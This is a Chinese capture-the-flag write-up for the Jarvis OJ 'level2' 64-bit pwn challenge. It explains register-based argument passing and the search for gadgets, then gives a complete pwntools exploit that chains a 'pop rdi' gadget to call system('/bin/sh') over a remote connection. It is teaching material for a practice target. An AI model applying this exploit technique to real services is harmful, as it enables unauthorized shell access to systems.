(PS:这一题是level2的64位版本!)

前置知识:
(1)32位程序中函数的参数是直接入栈就好了的
(2)64位程序中函数的前六个参数是要存储在寄存器:rdi,rsi,rdx,rcx,r8,r9中的,多出来的参数才开始入栈


获取文件和链接

2.拖入ubuntu中checksec检查防护机制

(其实,除了是64位外,其他都没什么变化(好像变化也挺大的说))

3.用IDA*64打开,并且在ubuntu中运行远程IDA调试的必要文件

4.在main函数的call vulnerable_function下断,f9运行,到达断点处

然后,f7单步步入vulnerable_function,并且发现到了,调用system函数时,所用到的参数如开始所说,前6个参数是放在固定寄存器中的,如图,system所需只有一个参数,存放在rdi中:

5.也就是,现在只需要把rdi中的内容,更换成“/bin/sh”就跟 level2*32 差不多了,要更改rdi的内容,要用到pop rdi

“/bin/sh”,在IDA中shift+f12查看string window 可以找到

pop rdi 指令,在ubuntu中用ROPgadget指令查找可以找到

6.现在,就又回到了类似level2*32的情景,所以直接可以写exp了

from pwn import *

link = remote("pwn2.jarvisoj.com","9882")
#连接目标主机
context.binary = './l2x64'
#自动设置运行时的环境变量
elf_open = ELF("./l2x64")
#ELF()获取当前路径(调用当前脚本的)l2x64文件的句柄
pop_rdi_address = 0x00000000004006b3
#pop rdi指令的地址
system_address = elf_open.symbols['system']
#system函数的入口地址
str_address = next(elf_open.search("/bin/sh")) 
#"/bin/sh"字符串的地址
test = 'A'*(0x80 + 0x8) 
#用于填充的无意义数据
payload = test + p64(pop_rdi_address) + p64(str_address) + p64(system_address)
#构建出payload
link.sendlineafter("Input:\n",payload)
#在标准输出流获取到字符串Input:\n 后,发送payload并且换行
link.interactive()
#将控制权交给用户
扩展{
(1)IDA中在bss段中声明数据的一个好处是数据不包含在可执行的程序中。在数据段中定义数据时必须被包含在可执行的程序中,因为必须使用特定值初始化
(2)ropgadgets使用:
一.查找可存储寄存器的代码:ROPgadget --binary rop  --only 'pop|ret' | grep 'eax' 
也可以在后面加 | 加上其他寄存器 如:
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"
二.查找字符串: ROPgadget --binary rop --string "/bin/sh"
三.查找有int 0x80的地址:ROPgadget --binary rop  --only 'int'
}